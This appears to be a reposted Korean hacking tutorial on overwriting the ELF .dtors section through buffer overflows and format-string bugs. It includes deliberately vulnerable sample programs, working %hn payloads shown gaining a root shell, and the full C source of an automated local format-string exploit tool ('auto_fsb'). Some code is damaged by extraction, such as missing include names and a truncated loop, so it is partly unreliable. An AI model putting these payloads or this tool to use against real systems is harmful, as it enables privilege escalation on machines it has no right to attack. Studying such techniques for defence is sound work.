.dtors를 이용한 Format string 자동화툴 설계
=============================================
by amadoh4ck in Null@Root
amadoh4ck@kebi.com
0. 잡담
1. ELF란 무엇인가?
2. .dtors란?
3. .dtors를 이용한 예제
4. .dtors를 이용한 Format string attack
5. 자동화툴의 설계
6. 마치며
7. 참고문헌
# 별첨 (auto_fsb.c)
0. 잡담
필자는 요즘 해킹에 대해 많은 회의를 느낀다. 한국을 주름잡고 있는
많은 해커들은 자신의 지식을 공유하지 않는다. 심지어, 자신의 지식을
알리려 하는 해커들에게 "실력을 뽐내는 사람"이라는 손가락질을 하곤
한다. 물론 모두가 그렇다는 것은 아니다.
기술은 점점 빠르게 발전하고 있다. 한 사람이 빨라져만 가는 기술을
따라 가는건 여간 힘든 일이 아니다. 그러나, 먼저 익힌 사람이 자신의
지식을 공유한다면 기술과 지식에 대해 끊임없이 동경하고 도전하는 많
은 사람들에게 도움을 줄 것이며, 그로 인해 보안의 불모지인 우리나라
에 많은 도움이 될 것이라고 생각한다.
이제는 우리나라 해커들의 사상이 달라져야 할 때라고 생각한다. 자신
이 어렵게 습득한 기술을 공유하고 그로 인해 빨라져만 가는 기술의 발
전을 따라갈 수 있었으면 하는 작은 바램에서 이 글을 우리나라의 많은
hard study hacker들에게 바친다.
이 문서는 시스템에 대한 이해와 Format string attack에 대한 지식이
있는 사용자들을 위해 작성되었다. 이 문서를 읽기 전에 독자들은 메모
리와 Format string attack에 관한 지식을 가져야 한다.
1. ELF란 무엇인가?
리눅스를 포함한 유닉스는 사용자의 명령을 해석하는 명령어 해석기
(command interpreter)가 있다. 보통 쉘(shell)이라고 부르는 것으로
sh, csh, ksh, bash, tcsh 등이 있다. 이러한 쉘을 통하여 실행 될 수
있는 파일들은 여러가지가 있으며, 그 중 하나가 ELF 포멧을 사용하는
이진파일이다.
ELF(Executable and Linkable Format) 포멧은 유닉스 시스템 연구소
에서 디자인한 것으로, ECOFF나 a.out등의 파일 포멧에 비해 약간의
오버헤드가 있지만, 유연성은 뛰어나다. 리눅스에서 가장 일반적으로
사용되는 포멧으로 자리잡아 가고 있다.
/usr/include/elf.h은 EFL 헤더 정의이다(redhat 7.0). 자세한 분석
을 원하는 사람은 간단한 프로그램을 작성하여 hexdump로 실행파일의
내용을 분석해 보면 재미있을 것이다. ELF는 실행 이미지에 실행 가능
한 모든 코드와 데이터를 가지는 정적링크 이미지와 공유라이브러리
(shared library)의 코드와 데이터를 링크하는 동적링크 이미지로 구성
된다. 또한, EFL 포멧은 프로그램의 시작과 종료시 특정 함수를 실행할
수 있는 유용성을 지닌다. 우리는 이를 constructors, destructors라고
부른다.
ELF에 대해 잘 알고 있으면 Unix용 바이러스도 구현할 수 있다.
lamagra의 core Zine 3에는 ELF 포멧에서의 바이러스 구현에 대한 글이
나온다. 그러나, 지금 우리가 필요한 것은 constructors와 destructors
이다. 이 두 속성에 대해 자세히 알아보도록 하자.
2. .dtors란?
gcc에는 흥미있는 두개의 속성이 있다. constructors와 destructors
인데 이 속성은 아래와 같은 정의를 통해 프로그래머에 의해 작성되어질
수 있다.
==================================================================
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
==================================================================
constructor 속성의 함수는 main() 전에 실행되고, destructor 속성의
함수는 main() 종료후에 실행된다. destructor 속성 함수는 exit()에 의
한 종료시에도 실행이 된다. ELF 실행 가능한 이진파일로 만들어진 이미
지에는 .ctors와 .dtors 두 영역으로 표현되며, 다음과 같은 특징과 레
이아웃을 가진다.
* .ctors(constructor)와 .dtors(destructor)는 기본적으로 쓰기 가능
한 메모리에 기록되어진다.
* 쓰여지는 영역이 이진 strip과 근접해 있다.
* 0xffffffff ...0x00000000
이와 같은 레이아웃을 가진다.
그렇다면 우리는 어떻게 이 영역을 이용하여 우리가 원하는 목적을 달
성할 수 있을까? 이 부분을 위해 잠시 메모리에 대한 이야기를 해 보자.
buffer에는 stack, heap, initialized data, bss 등이 있다. stack과
heap 영역은 모두 잘 알고 있으리라고 본다. bss(block structured by
symbol section)는 초기화 되지 않은 데이타(uninitialized data)들이
저장되는 영역이다.
다음은 각각의 영역이 메모리 상에서 어디에 위치하는 지를 보여준다.
=================================================================
| init | | | |
text(code) | data | bss | heap | virtual memory space | stack
=================================================================
low high
c 코드에 쓰여지는 방식을 보면 더 쉽게 이해할 수 있을 것이다.
=================================================================
stack : char buf[1024];
heap : char *buf;
buf = malloc(1024);
bss : static char buf[];
initialized data : static char buf[] = "test";
=================================================================
필자가 엄밀히 메모리 영역을 조사해 본 결과 .ctors와 .dtors는 초기
화된 data 영역과 bss 영역 사이에 존재한다. 그리고, stack 영역을 제외
한 메모리 영역은 low address에서 high address로 저장되어 간다. 그러
므로 프로그램 상에 초기화된 data 영역에 overflow가 있다면 우리는
.dtors를 덮어 씀으로써 exit()와 상관없이 overflow를 일으켜 쉘을 얻을
수 있는 것이다.
앞에서 언급했듯이 .ctors는 main()함수 시작 전에 호출이 된다. 그러
므로, 버퍼오버플로우가 일어나기 전에 .ctors가 호출될 것이다. 그래서
우리는 .dtors 영역을 덮어 쓸 것이다. 이제 본격적으로 .dtors를 덮어
써 보도록 한다.
3. .dtors를 이용한 예제
앞에서 살펴보았듯 .dtors를 overflow 하기 쉽게 하기 위해 buf를 초기
화된 data 영역에 할당하여야 한다. .dtors를 덮어 쓸 예제를 보자.
==================================================================
$ cat > dt1.c < EOF
#include
void tmp_func(void)
{
printf("Exploit success..n");
}
int main(int argc, char *argv[])
{ /* buf를 initialized data 영역에 할당
static unsigned char buf[] = "test";
if (argc < 2) {
printf("Usage: %s n", argv[0]);
exit(-1);
}
strcpy(buf, argv[1]); /* 오버플로우 발생 */
/* buf값 출력 */
printf("input string = %sn", buf);
/* exit(0)으로 종료되어도 exploit이 수행되는 지 테스트 */
exit(0);
}
EOF
$ gcc dt1.c -o dt1
$ ./dt1 test
tmp_func = 0x80484cc
input string = test
$ objdump -h dt1 | grep ".data"
14 .data 00000018 08049610 08049610 00000610 2**2
$ objdump -h dt1 | grep dtors
17 .dtors 00000008 08049634 08049634 0000060c 2**2
$ objdump -s -j .dtors dt1
dt1: file format elf32-i386
Contents of section .dtors:
8049634 ffffffff 00000000
==================================================================
위에서 보는 바와 같이 buf가 할당된 .data 영역은 .dtors 영역보다
메모리상으로 낮은 곳에 위치해 있다. 또한, .dtors 영역에는 레이아웃
중에 .dtors 리스트의 시작을 나타내는 ffffffff와 끝을 나타내는 0000
0000 만 존재한다. 이는 프로그램에서 stop(void)를 정의해 주지 않았
기 때문이다. 그렇다면 우리는 00000000 부분을 우리가 실행하기를 원
하는 명령의 주소값으로 바꾸어 주면 될 것이다. 이제 프로그램이 정상
적으로 진행된다면 절대 실행될 수 없는 tmp_func()을 실행시켜 보자.
$ objdump --syms dt1 | grep tmp_func
080484cc g F .text 00000018 tmp_func
$
프로그램의 출력으로 이미 tmp_func()의 주소값이 0x80484cc라는 것
을 알지만, 더 확실히 하기 위해 objdump의 --syms 옵션으로 주소값을
확인해 보았다.
$ ./dt `perl -e 'print "A"x28'`
tmp_func = 0x80484cc
input string = AAAAAAAAAAAAAAAAAAAAAAAAAAAA
세그멘테이션 오류 (core dumped)
$
buf의 Length가 24를 넘어 가면서 부터 세그멘테이션이 발생하는 것
을 볼수 있다. 추측컨대 25 ~ 28까지가 dtors의 00000000 부분임을 알
수 있다. 그렇다면 이 영역에 tmp_func의 주소값을 넣어보자.
$ ./dt1 `perl -e 'print "A"x24; print "xccx84x04x08";'`
tmp_func = 0x80484cc
input string = AAAAAAAAAAAAAAAAAAAAAAAA ┚
Exploit success..
세그멘테이션 오류 (core dumped)
$
우리가 의도한 바대로 잘 실행된 것을 확인할 수 있다. core 파일을
디버깅해 봄으로써 어떤 부분이 바뀌었는 지 확인해 보자.
$ gdb dt1 core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License,
.
.
Core was generated by `./dt1 AAAAAAAAAAAAAAAAAAAAAAAA '.
Program terminated with signal 11, Segmentation fault.
.
.
#0 0x804967d in _DYNAMIC ()
(gdb) bt
#0 0x804967d in _DYNAMIC ()
#1 0x804844a in __do_global_dtors_aux ()
#2 0x80485b5 in _fini ()
#3 0x4004f29f in exit (status=0) at exit.c:57
#4 0x804855c in main ()
#5 0x4003bbfc in __libc_start_main (main=0x80484e4 , argc
=2, ubp_av=0xbffff8a4, init=0x804832c <_init>, fini=0x804859c
<_fini>, rtld_fini=0x4000d674 <_dl_fini>, stack_end=0xbffff89
c> at ../sysdeps/generic/libc-start.c:118
(gdb) maintenance info sections
. .
. .
0x0804962c->0x08049634 at 0x0000062c: .ctors ALLOC LOAD DA..
0x08049634->0x0804963c at 0x00000634: .dtors ALLOC LOAD DA..
. .
. .
(gdb) x/10x 0x8049634
0x8049634 <__DTOR_LIST__>: 0x41414141 0x080484cc 0x08049..
. .
(gdb)
gdb로 디버깅해 본 결과 위와 같이 .dtors의 0xffffffff는 AAAA로 바
뀌었고, 0x00000000부분은 tmp_func()의 주소값으로 바뀌었다. 이를 통
해 우리는 .dtors 영역 헤더중 앞부분의 값 0xffffffff는 엉뚱한 다른
값으로 변해도 프로그램의 흐름에 아무 영향이 없음을 알 수 있다.
지금까지 테스트를 통해 .dtors를 덮어 쓰면 exit()를 호출하더라도
원하는 함수나 쉘등을 호출할 수 있음을 보았다. 이러한 방법은 사실상
실제 상황에서는 별로 사용할 수 없지만, Format string attack의 경우
는 아주 유용하게 사용될 수 있다. 이제 부터 .dtors를 이용하여 쉽게
Format string attack을 하는 방법에 대해 이야기 해 보자.
4. .dtors를 이용한 Format string attack
.dtors를 덮어쓰는 방법은 버퍼가 initialized data 영역에 할당되는
프로그램에서만 적용되는 단점이 있다. 그러나, 덮어 쓰는 주소가 버퍼
의 영역과 전혀 상관이 없는 Format string attack에서는 이 방법이 아
주 유용하게 사용될 수 있다. 버퍼에 우리가 덮어 쓰기를 원하는 어느
주소값이라도 바꿀 수 있기 때문이다. Format string 버그가 존재하는
간단한 프로그램을 가지고 이 방법을 적용해 보자.
========== fmt1.c ========================================================
#include
int main(int argc, char *argv[])
{
char buf[1024];
memset(buf, 0, 1024);
read(0, buf, 1024);
printf(buf);
}
==================================================================
이 프로그램은 사용자로 부터 표준입력(0)을 받아 입력 내용을 출력하
는 간단한 프로그램이다. 여러분도 알겠지만, 이 프로그램에는 Format
string bug가 존재한다. printf("%s", buf); 와 같은 표현을 써야 하지
만 프로그램상에는 버퍼를 직접 포멧스트링으로 사용하였다. 이제 이 프
로그램을 익스플로잇 시켜 보자.
$ ./fmt1
AAAA %8x %8x %8x %8x %8x %8x
AAAA bfffec60 400 0 41414141 78382520 78382520
$ objdump -h fmt1 | grep dtors
17 .dtors 00000008 080495a0 080495a0 000005a0 2**2
$
익스플로잇 시키기 위해 필요한 %8x의 개수는 3개이며, 덮어써야 할
.dtors 값은 0x80495a0 + 4 임을 알 수 있다. 얻어진 결과값을 이용하여
익스플로잇 시키면 다음과 같다.
$ (printf "ZZZZxa6x95x04x08ZZZZxa4x95x04x08%%8x%%8x%%8x%%49
111c%%hn%%13165c%%hn"; cat) | ./fmt1
. .
. .
. .
id;
uid=0(root) gid=500(amado) groups=500(amado)
^C
$
성공이다. 이와같이 포멧스트링 공격을 위해 적절한 return address를
구하는 수고 없이 .dtors를 구함으로써 쉽게 쉘을 띄울 수 있음을 알 수
있다. 입력을 다른 방식으로 받는 다른 프로그램도 같은 결과인지 테스트
해 보자.
========== fmt2.c ========================================================
#include
void copy_it(char *dst, char *src)
{
int test;
snprintf(dst, 1024, src);
}
int main(int argc, char *argv[])
{
char buf[1024];
if (argc < 2) {
printf("Usage: %s n", argv[0]);
exit(-1);
}
copy_it(buf, argv[1]);
printf("%sn", buf);
}
==================================================================
이 프로그램은 argv[1]의 인자를 통해 사용자의 입력을 받아들여 입력
받은 문자를 출력해 주는 프로그램이다. 이 프로그램도 위와 마찬가지로
포멧스트링 버그가 존재한다. copy_it(...)함수의 snprintf에 포멧스트링
문제가 있다. 이 프로그램도 익스플로잇 시켜보자.
$ ./fmt2 "AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x"
AAAA 0 0 0 bffff038 8048533 bfffec30 bffff1f1
0 41414141 $
$ objdump -h ./fmt2 | grep dtors
17 .dtors 00000008 080495e8 080495e8 000005e8 2**2
$
익스플로잇 시키기 위해서 필요한 %8x의 개수는 9개이며, 덮어써야 할
.dtors 는 0x80495e8 + 4 임을 알 수 있다. 이 결과값을 이용하여 익스
플로잇 시켜 보자.
$ perl -e 'system "fmt2", "ZZZZxeex95x04x08ZZZZxecx95x04x08%
8x%8x%8x%8x%8x%8x%8x%8x%8x%49063c%hn%13165c%hn"'
# id
uid=0(root) gid=500(amado) groups=500(amado)
#
역시 성공했다. 이와 같이 입력받는 형식이 어떤 방식이던 상관없이
.dtors를 이용하여 원하는 바(쉘)를 얻을 수 있다는 것을 알 수 있다.
5. 자동화툴의 설계
우선 자동화툴을 위해 필요한 것들이 무엇인지 살펴보자.
1) 정확한 shellcode의 주소값을 구해야 한다.
정확한 shellcode의 주소값을 구하기 위해 필자는 egg shell을 사
용한다. 프로그램에서 보면 알겠지만, AMADOH4CK이라는 환경변수에
NOP + shellcode를 넣고, 이 환경변수의 주소값을 찾아서 정확한
shellcode의 주소값을 얻는 것이다. 자세한 것은 별첨을 참고하라.
어떤 이는 redhat 7.0에서는 버퍼오버플로우가 불가능 하다고 말한
다. 그러나, 이것은 뭔가 혼동한 것이다. 버퍼오버플로우를 하였다
하더라도 root shell이 뜨지 않는 이유는 커널에서 setuid 붙은 프
로그램을 실행시키기 전에 seteuid(getuid())와 같은 식의 명령을
먼저 내리기 때문이다. 그러나, 이러한 문제는 쉘코드에 setuid(0)
을 덧붙임으로써 해결할 수 있다. 또한, 그보다 더 간단한 방법으로
setreuid(0, 0); execv("/bin/sh", "sh", NULL); 과 같은 프로그램
을 작성한 후 /bin/sh을 이 프로그램의 이름으로 바꿔 놓으면 된다.
2) 정확한 return address 값을 구해야 한다.
정확한 return address 값을 구하기 위해서 필자는 지금까지 언급해
온 .dtors 주소값을 objdump와 awk, grep 등을 이용하여 구한다.
그러나, 만약 운나쁘게 .dtors 주소값에 NULL(0) 문자가 들어간다면
return address를 일일이 구해서 익스플로잇 시켜야 한다.
3) shellcode의 주소값을 high와 low로 나누었을때 처리를 자동으로
해 주어야 한다.
우리는 익스플로잇을 위해 %hn 포멧스트링을 사용할 것이고, 이를
위해서 shellcode의 주소값을 2개로 쪼게야 한다. 그리고, 값이 작은
것부터 써 나가야 하므로, 이를 위한 처리가 필요하다. 별첨의 코드
를 보면 이해할 수 있을 것이다.
4) 두가지 입력형식 모드를 지원해야 한다.
이를 해결하기 위해 type을 나타내는 인자를 입력해 주어야 하는 데
getopt 함수를 사용하지 않고, 그냥 단순한 인자 전달 방식을 사용하
였다. 불편한 사용자는 getopt 함수를 사용하여 소스를 수정하기 바
란다.
위의 사항들을 고려하여 간단한 형식의 포멧스트링 문제가 있는 프로
그램들을 자동으로 공격할 수 있는 툴을 작성하였다. 그러나, 이 툴도
다음과 같은 입력값은 자동화 할 수 없다. 또한, remote 공격일 경우
.dtors를 구할 수 없으므로, 이 툴을 사용할 수 없다.
자동화 할 수 없고, 사용자가 찾아 주어야 하는 것들
1) align의 개수
2) %x(%8x)의 개수
설계한 자동화 툴의 사용법은 다음과 같다.
$ ./auto_fsb
Usage: ./auto_fsb [align]
type 1 : input from argv[1]
type 2 : input from 0(standard input)
$ ./auto_fsb ./fmt2 1 9
#
툴에 대한 자세한 설명은 별첨의 주석을 참고하기 바란다.
6. 마치며
이 글에서 언급한 내용이 잘못되었거나, 수정해야 할 사항이 있으면
필자에게 메일을 보내 주기 바란다.
이 글에 공개된 기술을 통해 지식을 갈구하는 사람들에게 조금이나마
도움이 되었으면 한다. 또한, 이 글에 포함된 소스 코드를 통한 불법적
인 행동은 자제해 주기 바란다.
끝으로 두서없이 써 나간 이 장문의 글을 끝까지 읽어 준 독자들과
글을 쓰는데 도움을 준 많은 사람들에게 감사의 말을 전한다.
7. 참고문헌
- Overwriting ELF .dtors section to modify program execution
(Guido Bakker)
- The Linux Kernel(David A Rusling)
- More info on format bugs.(Pascal Bouchareine)
# 별첨 (egg shell은 독자의 몫으로 남긴다.) *******
/* made by amadoh4ck in Null@Root */
#include
#include
#include
/* 필요한 툴들의 절대경로를 명시한다. */
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/bin/grep"
#define AWK "/bin/awk"
/* this code is ripped from Scrippie/ronald@grafix.nl */
/* .dtors 값을 얻는다. */
unsigned long get_dtors(const char *filename)
{
char cmd[1024];
FILE *fp;
char res[11];
snprintf(cmd, sizeof(cmd), "%s -h %s | %s dtors | %s
'{ print "0x"$4; }'", OBJDUMP, filename, GREP, AWK);
fp = (FILE *)popen(cmd, "r"); /* 명령을 pipe를 이용하여 실행 */
fgets(res, 11, fp); /* 결과값을 res에 저장 */
pclose(fp); /* pipe close */
return(strtol(res, NULL, 16)); /* .dtors 값을 리턴 */
}
/* 주소값에 NULL(0x00)이 존재하는 지를 체크한다. */
int contain0(long value)
{
return !((value & 0x00ffffff) && (value & 0xff00ffff) &&
(value & 0xffff00ff) && (value & 0xffffff00));
}
/* shellcode가 들어있는 환경변수의 주소값을 구한다. */
unsigned long get_eggaddr(char **env)
{
int i;
char *tmp_ptr;
/* 환경변수가 존재할때 까지 반복 */
for (i=0; env[i]; i++) {
/* AMADOH4CK 이라는 환경변수를 찾는다. */
if ((tmp_ptr = strstr(env[i], "AMADOH4CK="))) {
tmp_ptr += 10; /* "AMADOH4CK=" 다음 주소를 set */
return ((unsigned long)tmp_ptr);
}
}
/* AMADOH4CK 이라는 환경변수를 찾지 못하면 error출력 후 종료 */
printf("Error: You must run it on eggshell.n");
exit(-1);
}
int main(int argc, char **argv, char **environ)
{
unsigned long dtors;
unsigned long shelladdr;
unsigned int high, low, temp;
int i, type, num, align=0, change=0;
char format[2048], *ptr, tmpstr[100];
if (argc < 4) {
printf("Usage: %s [align]n",
argv[0]);
printf("type 1 : input from argv[1]n");
printf("type 2 : input from 0(standard input)nn");
exit(0);
}
/* .dtors 주소값을 얻은 후 6을 더한다. 0xffffffff 영역을 건너뛰기
위해 4를 더하고, 일반적으로 shelladdr의 상위값(주로, 0xbfff)이
하위값(주로, 0xf...)보다 작으므로, 2를 더 더해준다. */
dtors = get_dtors(argv[1]) + 6;
/* shellcode 가 저장된 주소를 구한 후 NOP을 넣은 것으로 가정하고
적당한 크기를 더해준다. 만약 shelladdr에 널문자가 포함되어 있
으면 4를 더 더해준다. bug: 0x000000ff 를 & 했을 때 NULL인 주소
만 이 방법을 통해 해결할 수 있다. */
shelladdr = get_eggaddr(environ) + 40;
if (contain0(shelladdr)) shelladdr += 4;
/* type과 %8x의 개수를 argument를 통해 입력 받는다. */
type = atoi(argv[2]);
num = atoi(argv[3]);
/* align이 존재하면 align을 입력받는다. */
if (argv[4]) align = atoi(argv[4]);
/* 각종 설정값을 출력한다. */
printf(".dtors to overwite : 0x%lxn", dtors-2);
printf("address of shell : 0x%lxn", shelladdr);
printf("Using %%.8x Count : %dn", num);
printf("Using alignment : %dn", align);
/* shelladdr을 분리하여 계산한다. */
high = shelladdr & 0xffff;
low = (shelladdr & 0xffff0000) >> 16;
high -= (num*8 + 16 + align);
low -= (num*8 + 16 + align);
/* 만약 shelladdr 의 상위주소값이 하위주소값보다 작으면 각각의 값을 서로 바꾼다.
또한, 덮어쓸 dtors 영역도 바꾸어 주어야 한다. */
if (high < low) {
temp = low;
low = high;
high = temp;
dtors -= 2;
change = 1;
}
ptr = format;
/* type 이 1 (argument를 통한 입력)이면 perl을 통해 입력을 한다. */
if (type == 1) {
snprintf(tmpstr, 100, "perl -e 'system "%s", "", argv[1]);
memcpy(ptr, tmpstr, strlen(tmpstr));
ptr += strlen(tmpstr);
} else { /* type 이 2 (standard input을 통한 입력)이면 printf를 통해 입력한다. */
memcpy(ptr, "(printf "", 9);
ptr += 9;
}
/* align 만큼 'A'를 버퍼에 채운다. */
memset(ptr, 'A', align);
ptr += align;
/* %hn을 이용하므로, for문을 이용하여 주소값을 둘로 나누어 버퍼에 채운다.
이때 상위주소값과 하위주소값의 변화여부에 따라 dtors 값에서 2를 빼거나 더한다. */
for (i=0; i<2; i++) {
/* dtors 값에 NULL(0x00)이 포함되어 있으면 error 표시한 후 종료한다. */
if (contain0(dtors)) {
printf("Error: .dtors contains a zero byte. Use ret_addrn");
exit(1);
}
/* 'Z'를 버퍼에 4개 채운다. */
memset(ptr, 'Z', 4);
ptr += 4;
/* shellcode의 주소값을 덮어쓸 .dtors 주소값을 버퍼에 채운다.
이제 .dtors에 shellcode의 주소값을 채움으로써 프로그램 종료후
쉘이 뜰 것이다. */
sprintf(ptr, "\x%02x\x%02x\x%02x\x%02x", dtors & 0xff,
(dtors>>8)&0xff, (dtors>>16)&0xff, (dtors>>24)&0xff);
ptr += strlen(ptr);
/* 만약 shelladdr의 상위주소값과 하위주소값을 바꿨다면 dtors에 2를 증가시킨 후
위와 같은 작업(for문 안의 작업)을 한번 더 해 주어야 한다. */
if (change) dtors += 2;
else dtors -= 2;
}
/* 지정한 개수만큼 %8x를 버퍼에 채운다. */
for (i=0; i
if (type == 1) {
memcpy(ptr, "%8x", 3);
ptr += 3;
} else {
memcpy(ptr, "%%8x", 4);
ptr += 4;
}
}
/* 덮어 쓰기 위한 포멧스트링을 버퍼에 채운다. */
if (type == 1) {
sprintf(ptr, "%%%uc%%hn%%%uc%%hn"'", low, high-low);
} else {
sprintf(ptr, "%%%%%uc%%%%hn%%%%%uc%%%%hn"; cat) | %s",
low, high-low, argv[1]);
}
printf("format string : %sn", format);
printf("nPress key to start..n");
/* Enter가 입력될 때까지 기다린다. */
getchar();
/* 명령을 실행한다. */
system(format);
}

ino
01-06-14 11:45
0개
2,779회
.dtors를 이용한 Format string 자동화툴 설계
댓글목록
등록된 댓글이 없습니다.